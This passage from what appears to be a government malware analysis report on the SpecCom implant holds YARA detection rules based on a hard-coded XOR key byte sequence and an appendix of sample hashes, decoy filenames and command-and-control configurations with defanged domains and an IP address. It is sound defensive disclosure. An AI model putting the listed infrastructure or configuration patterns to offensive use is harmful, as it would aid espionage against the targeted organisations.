        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom hard-coded key, based off API names, used in word-length XOR algorithm
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_hardcoded_xor_key_api_names {
    meta:
        author = "NCSC"
        description = "Detects SpecCom hard-coded key, based off API names, used
in word-length XOR algorithm"

    strings:
        $ = {6A 47 58 6A 65 66 89 85 EC FE FF FF 58 6A 74 5E 6A 4D 8B C8 66 89 8D
EE FE FF FF 8B CE 66 89 8D F0 FE FF FF 59 6A 73 66 89 8D F2 FE FF FF 8B C8 66 89
8D F4 FE FF FF 59 6A 61 8B D1 66 89 95 F6 FE FF FF 66 89 95 F8 FE FF FF 5A 6A 67
66 89 95 FA FE FF FF 5A 6A 50 66 89 95 FC FE FF FF 8B D0 66 89 95 FE FE FF FF 5A
6A 6F 5F 6A 20 66 89 95 00 FF FF FF 8B D7 66 89 95 02 FF FF FF 8B D1 66 89 95 04
FF FF FF 5A 6A 53 8B DA 66 89 9D 06 FF FF FF 5B 66 89 9D 08 FF FF FF 6A 6E 8B D8
66 89 9D 0A FF FF FF 5B 66 89 9D 0C FF FF FF 6A 64 5B 66 89 9D 0E FF FF FF 6A 4D
5B 66 89 9D 10 FF FF FF 6A 61 8B D8 66 89 9D 12 FF FF FF 8B D9 66 89 9D 14 FF FF
FF 66 89 9D 16 FF FF FF 5B 66 89 9D 18 FF FF FF 6A 67 5B 66 89 9D 1A FF FF FF 8B
D8 66 89 9D 1C FF FF FF 8B DA 66 89 9D 1E FF FF FF 6A 47 5B 66 89 9D 20 FF FF FF
8B D8 66 89 9D 22 FF FF FF 8B DE 6A 45 66 89 9D 24 FF FF FF 5B 66 89 9D 26 FF FF
FF 6A 78 5B 66 89 9D 28 FF FF FF 6A 69 5B 66 89 9D 2A FF FF FF 6A 43 8B DE 66 89
9D 2C FF FF FF 5B 66 89 9D 2E FF FF FF 6A 64 8B DF 66 89 9D 30 FF FF FF 5B 66 89
9D 32 FF FF FF 6A 50 8B D8 66 89 9D 34 FF FF FF 5B 66 89 9D 36 FF FF FF 6A 72 5B
66 89 9D 38 FF FF FF 6A 63 8B DF 66 89 9D 3A FF FF FF 5B 66 89 9D 3C FF FF FF 6A
43 8B D8 66 89 9D 3E FF FF FF 8B D9 66 89 9D 40 FF FF FF 8B DA 66 89 9D 42 FF FF
FF 5B 66 89 9D 44 FF FF FF 6A 72 5B 66 89 9D 46 FF FF FF 6A 61 8B D8 66 89 9D 48
FF FF FF 5B 66 89 9D 4A FF FF FF 6A 50 8B DE 66 89 9D 4C FF FF FF 8B D8 66 89 9D
4E FF FF FF 5B 66 89 9D 50 FF FF FF 6A 72 5B 66 89 9D 52 FF FF FF 6A 63 8B DF 66
89 9D 54 FF FF FF 5B 66 89 9D 56 FF FF FF 8B D8 66 89 9D 58 FF FF FF 8B D9 66 89
9D 5A FF FF FF 66 89 9D 5C FF FF FF 6A 47 8B DA 66 89 9D 5E FF FF FF 5B 66 89 9D
60 FF FF FF 8B D8 66 89 9D 62 FF FF FF 8B DE 6A 54 66 89 9D 64 FF FF FF 5B 6A 69
66 89 9D 66 FF FF FF 5B 66 89 9D 68 FF FF FF 6A 63 5B 6A 6B 66 89 9D 6A FF FF FF
5B 6A 43 66 89 9D 6C FF FF FF 5B 6A 75 66 89 9D 6E FF FF FF 8B DF 66 89 9D 70 FF
FF FF 5B 6A 6E 66 89 9D 72 FF FF FF 5B 6A 47 66 89 9D 74 FF FF FF 8B DE 66 89 9D
76 FF FF FF 8B DA 66 89 9D 78 FF FF FF 5B 6A 44 66 89 9D 7A FF FF FF 8B D8 66 89
9D 7C FF FF FF 8B DE 66 89 9D 7E FF FF FF 5B 6A 43 66 89 5D 80 5B 6A 45 66 89 5D
82 5B 6A 78 66 89 5D 84 5B 6A 43 66 89 5D 86 8B DA 66 89 5D 88 5B 6A 70 66 89 5D
8A 8B DF 66 89 5D 8C 5B 6A 79 66 89 5D 8E 5B 6A 49 66 89 5D 90 5B 6A 6D 66 89 5D
92 5B 6A 61 66 89 5D 94 5B 6A 67 66 89 5D 96 5B 66 89 5D 98 6A 44 8B D8 66 89 5D
9A 8B DA 66 89 5D 9C 5B 6A 72 66 89 5D 9E 5B 6A 61 66 89 5D A0 5B 6A 77 66 89 5D
A2 5B 66 89 5D A4 6A 54 5B 6A 78 66 89 5D A6 8B D8 66 89 5D A8 5B 6A 43 66 89 5D
AA 8B DE 66 89 5D AC 8B DA 66 89 5D AE 5B 6A 6C 66 89 5D B0 5B 6A 48 66 89 5D B2
8B DF 66 89 5D B4 8B D9 66 89 5D B6 8B D8 66 89 5D B8 5B 6A 61 66 89 5D BA 5B 6A
6E 66 89 5D BC 5B 6A 64 66 89 5D BE 5B 6A 6C 66 89 55 C6 66 89 5D C0 5B 6A 53 5A
6A 6E 66 89 55 C8 8B D0 66 89 55 CA 5A 6A 64 66 89 55 CC 5A 6A 4D 66 89 55 CE 5A
6A 61 66 89 55 D0 66 89 4D D6 8B D0 66 89 55 D2 8B D1 59 6A 67 66 89 4D D8 59 66
89 4D DA 6A 54 8B C8 66 89 4D DC 59 6A 69 66 89 4D DE 59 6A 6D 66 89 5D C2 66 89
4D E0 59 8B D8 66 89 5D C4 66 89 55 D4 66 89 4D E2 66 89 45 E4 66 89 7D E6 6A 75
58 66 89 45 E8}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
}
```

Appendix I – Other SpecCom Samples

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9N0, /tel/img.asp, /tel/word.asp, tel-com.sequoiame[.]com
Size	96768 bytes
MD5	43b50568062659828966944e3ed238ff
SHA-1	011a8571830e5423847f199a09bd4cb4f039c230
SHA-256	7c25a5a88bfcc0ea7af287921860c6ab6b88b90042738650386c334bdef5b62b
Compile time	2015-04-10 07:03:28

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: K42D4, /7kcowm/img.asp, /7kcowm/word.asp, evisa.uz.webfaction[.]info
Size	75264 bytes
MD5	5e83008e9fbedb4d675ff9e60c80d8f9
SHA-1	f8d549c1b778f0759eddc3eb3d30437e425d9b25
SHA-256	0cba1f9fc63bb139d27a99839da8ddad83a40dfd7de8b01a4f6cb516527082d4
Compile time	2014-02-27 03:45:55

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 1234QWER, /new/js.asp, /new/art.asp, update.ictdp[.]com
Size	88576 bytes
MD5	5a8783783472be67c09926cc139d5b27
SHA-1	4ea195fd2af0a4fa0ce2a9b052ca380206ad6fe6
SHA-256	15633871c3630a559dd4e2c7a9b93b02d17dd64ee60a2d7ba340ebd14d13ffac
Compile time	2018-03-08 07:47:50

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /momo/js.asp, /momo/art.asp, mofa.ungov[.]org
Size	88576 bytes
MD5	a776bfd7769d8a2fd278bba26066a2c2
SHA-1	3fe27e8c4ee748b960356e0684246e19e2857db1
SHA-256	1c00fd8202a6822257fe34e481c434af58ad0e3e731005a7fec994463c0117a9
Compile time	2018-02-01 09:34:58

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: VSUSK42D, /0kcowm/img.asp, /0kcowm/word.asp, evisa.uz.webfaction[.]info
Size	140800 bytes
MD5	a563399a8e9c4ff2f64fb6a9d77f2e4d
SHA-1	1fc237ea0ad77f77318c4f0e2c434c812fb6de3c
SHA-256	b66104b4eb7d9cb169707289a1a0deac7ad8e262799b42d142bb5c009dcba4b5
Compile time	2014-04-03 03:24:17

Filename	wsvrc.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#$%, /help/js.asp, /help/art.asp, help.2019mfa[.]com
Size	97280 bytes
MD5	5a91ccabd2b12ac56ba5170cf9ff8343
SHA-1	24ffb24a73e68e6f5c23ab090f9ce5ac5dd41a8e
SHA-256	78e7c41458e1ddf336f0d2e9625abbdc0b3e86db18aee7377af5711bc927da35
Compile time	2004-12-21 03:55:57

Filename	wsvrc.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /momo/js.asp, /momo/art.asp, mofa.ungov[.]org
Size	88576 bytes
MD5	b4d0323f7009ff471b9741210b39ae2b
SHA-1	14196eda327da4cb26bf39c2bc11dc131ba6d754
SHA-256	3355174b6cd213792be46ed805810acf466d32485a932804331a0dfb219048ea
Compile time	2018-02-01 09:34:58

Filename	Investigating China's Crimes against Humanity.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: htwoDGE, /gin/tab.asp, /gin/kw.asp, infodocs.kginfocom[.]com
Size	71168 bytes
MD5	3ecfc67294923acdf6bd018a73f6c590
SHA-1	3557d162828baab78f2a7af36651a3f46d16c1cb
SHA-256	489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216
Compile time	2020-04-12 20:57:49

Filename	wsvrc.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, 81.95.7.20
Size	88576 bytes
MD5	99813cee850313ff4774803bac9cff35
SHA-1	63b917b8fd93dec9dac5ab5261d4c6818fb0cb19
SHA-256	37c38a857c4a30abb559b0aec5fce7aa54117f7ecddde437fa988dd3527fd6d0
Compile time	2018-01-05 06:19:12

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, hwyigd.laccessal[.]org
Size	106496 bytes
MD5	b62c2c52f9cfe057660ce5ce593eb6e1
SHA-1	3a865e3017ef072726712aacb854093b6eac55ee
SHA-256	14c9c48614e0e105e53014cdfdade738671579a226f7a1345d15662211b45a35
Compile time	2016-09-02 05:52:55

Filename	ksfgw.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, 81.95.7.20
Size	88576 bytes
MD5	355c1de5b86201f9917ff3e583dce2b6
SHA-1	b1657e023259ec9369f92978025f589069eee354
SHA-256	3c30a2075d7ca9b825d81167b79d45ce27a1bf07a0052412359afcdc73fdf51c
Compile time	2018-01-05 06:19:12

Filename	mmswp.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#$%, /help/js.asp, /help/art.asp, help.2019mfa[.]com
Size	97280 bytes
MD5	16e61624827d7785740b17c771a052e6
SHA-1	3fa8f0de425317407a540c359dfcb5e87fc02abf
SHA-256	fc3cdc3932d69c05c735040245f94fafe22b79cd865bb7d23c4364a3f4e8c774
Compile time	2004-12-21 03:55:57

Filename	Puppet.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: F4#564dd, /hall/tab.asp, /hall/kw.asp, uslugi.mahallafond[.]com
Size	75264 bytes
MD5	85ea346e74c120c83db7a89531f9d9a1
SHA-1	df8201f67beb99d7c6094e9d67f3a54c94809dda
SHA-256	42e781f5e9c00d09cb5f7697a7b2fc9b04d77cc7978dcca8098f77d57693ca6c
Compile time	2018-09-12 17:58:23

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
Size	89600 bytes
MD5	ccc7f88b72c286fd756e76309022e9f8
SHA-1	4f2ba5c8848ec94835f4070acb92dcad46769995
SHA-256	e683c86fd40eac23bc6435f479518ea5d80f90da294d5ad21d024dd7acc8a6ac
Compile time	2004-11-07 06:39:21

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 1234QWER, /new/js.asp, /new/art.asp, update.ictdp[.]com
Size	118606 bytes
MD5	d2890aded5aa4e540317a34ae01407cd
SHA-1	5bfe3beeb21cd6018646b9715bc836d1a38ad583
SHA-256	e7a5205bd0d941a7b6c88d31f3b958c890a4f09a49ec8a3a45f4bedaf194afeb
Compile time	2018-03-08 07:47:50

Filename	акт IDMSUZ_3.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: F4#564dd, /hall/tab.asp, /hall/kw.asp, uslugi.mahallafond[.]com
Size	77824 bytes
MD5	35caae29c47dfb570773f6d5fd37e625
SHA-1	6519a71c64aa216673f3582da1338e22c4ad78a8
SHA-256	6395c4a8495d3bff293a8a55ca3c5ebf68a616ee212b2a7284610b0a3f7bb5d4
Compile time	2020-01-22 18:15:48

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: FG534VC6, /sync/tab.asp, /sync/kw.asp, ousync.kginfocom[.]com
Size	72192 bytes
MD5	3562bf97997c54d74f58d4c1ad84fcea
SHA-1	5a08e5bce797142c6d46675a6c070e503e987dd7
SHA-256	6ffe81c2883c298a65477ba2bc7ba1063315ad6b26f0188e3361d0fa924575ae
Compile time	2019-10-06 17:55:02

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 2ik2gl, /css/js.asp, /css/art.asp, 6z98os.id597[.]link
Size	88576 bytes
MD5	5ea42089cf91464b9c0c42292c18ba4c
SHA-1	88927e4d9a6a1ce5e656c599c0b0f462af97ba57
SHA-256	784cf7d224974f7e2c43cf10580c42a2521556608a5dd4a11247d09a77f5c8df
Compile time	2018-02-07 08:16:28

Filename	wsvrc.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#$%, /help/js.asp, /help/art.asp, help.2019mfa[.]com
Size	97872 bytes
MD5	33f42e9678ee91369d11ef344bbd5a0d
SHA-1	8b8a5ed2f2921d355d82e342595b1e73f5ed2560
SHA-256	52a53e7e250fa9faa823d26421ca8af42ac40c27bac1d5af65b452c8987cda72
Compile time	2004-12-21 03:55:57

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /crss/js.asp, /crss/art.asp, dcc.ungov[.]org
Size	83968 bytes
MD5	aa107be86814d9c86911a2a7874d38a0
SHA-1	8cfd45f1364f569522399d1e246039cffbde6d82
SHA-256	295b987c8926399c063ff20d2484477fe31cd2188b604a919dbfa11d9c34b988
Compile time	2008-03-01 03:02:37

Filename	wsvrc.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
Size	96768 bytes
MD5	c485871b0837ee05697b3d2be67a7962
SHA-1	965720630d5fd6a774d821f37f3ba5c1dac34079
SHA-256	83bc8f011cba273c9c0dd2070cad429664ea5cdef05387edfad7e0cd6a389b66
Compile time	2004-12-22 06:00:18

Filename	wsvrc.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 1234QWER, /new/js.asp, /new/art.asp, update.ictdp[.]com
Size	88576 bytes
MD5	e44a0ad175c535a1c136ea71513286f5
SHA-1	f6901a575090a83832593ff1eeb6ae08d4b85c78
SHA-256	96fa3b2466ab06fbaf17f0d19507fb5b6614d1648d9811904a04d017b38af74a
Compile time	2018-03-08 07:47:50

Filename	Диппаспорт.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
Size	96768 bytes
MD5	06d72a4d99fcd76a3502432657f3c999
SHA-1	9976e5121c264a2b0dcf09ddd6c8cb53fdd964f8
SHA-256	27312973aefcfa2511573a28ff42ef12ecbfcf56db42bf4d1371b0a1f1f2732c
Compile time	2004-12-22 06:00:18

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
Size	89600 bytes
MD5	9154e59b67166a226fcfd4bb41de8b01
SHA-1	b4a26fdb25df67d5378b677f8b6fb4fb0f44589b
SHA-256	ff97e35aec84882611d56dc5758e7dedd4839e326e5708d6d5ae4dbd296dd62d
Compile time	2004-11-07 06:39:21

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 2ik2gl, /css/js.asp, /css/art.asp, 6z98os.id597[.]link
Size	88576 bytes
MD5	cff6d9f5d214e3366d6b4ae31c413adc
SHA-1	6305784544936d4b1b2f7ede4028c33094ddcea2
SHA-256	c0082f8f1e49c0805c4eaacf5cf5b99ae30eeea585fd77cbd50904927052a18c
Compile time	2018-02-07 08:16:28

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /mail/js.asp, /mail/art.asp, mail1.ictdp[.]com
Size	88576 bytes
MD5	66bfde24edb848b230b0bf0589b9ed4d
SHA-1	c862c26c9d1d9d513efae4063f275f0502e125a9
SHA-256	9a3c2ba8ddbeffcb86e53f5193fe74747d7df2ca33ba839b1b23d04d0d5869e4
Compile time	2008-01-16 06:18:26

Filename	NOTEPAD.EXE
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, hwyigd.laccessal[.]org
Size	134656 bytes
MD5	6dfd06f91060e421320b6ebd63c957f0
SHA-1	10d3f7e7376c88429d829ed084974966462ecbfc
SHA-256	d31e440e0d6f98209a9c9c7b4e332f417e41030a4bf4a4ae99d326cec24807af
Compile time	2017-03-02 01:39:15

Filename	wsvrc.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /mail/js.asp, /mail/art.asp, mail1.ictdp[.]com
Size	88576 bytes
MD5	4ddf6a1e37fc46316eb7810525d4942a
SHA-1	db6939bf8b45f1902da3c82446e1dc31334e4e99
SHA-256	4229630102f0b972e9464a48fa67b4f7b1d5def8ad16b8e258523dabb7bda9a8
Compile time	2008-01-16 06:18:26

Filename	материалы к массовому беспорядку.exe
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: F4#564dd, /hall/tab.asp, /hall/kw.asp, uslugi.mahallafond[.]com
Size	72192 bytes
MD5	c00f6268075e3af85176bf0b00c66c13
SHA-1	a3343f4cd3eb8415d3b787ff442074180d108d3a
SHA-256	e9013f35ce11fc4c5eb2c21827bdc459202d362365d6ea5b724dee4fe0088bd1
Compile time	2018-09-12 17:58:39

Filename	N/A
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#$%, /help/js.asp, /help/art.asp, help.2019mfa[.]com
Size	97872 bytes
MD5	84575619a690d3ef1209b7e3a7e79935
SHA-1	f2ee686c24eddea9ca495cfbb790798e6b6d451b
SHA-256	ab1983217880dad9c0481aab5b06e1fe4b9caaf8d56d8a03bf794aca18f2e4c6
Compile time	2004-12-21 03:55:57

Filename	NOTEPAD.EXE
Description	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9N0, /jquery/js.asp, /jquery/art.asp, update.mudofaa[.]com
Size	97792 bytes
MD5	312fed679cbab1e42ca566f2313ed1a3
SHA-1	fed2d5dccb8fb0a465bcd645bf3a1f7b94a70c10
SHA-256	ff1055da48829a69709702f1b44f5af0aa9be013bdc7fdf14db9dc66180d476d
Compile time	2015-06-10 03:45:37

Disclaimer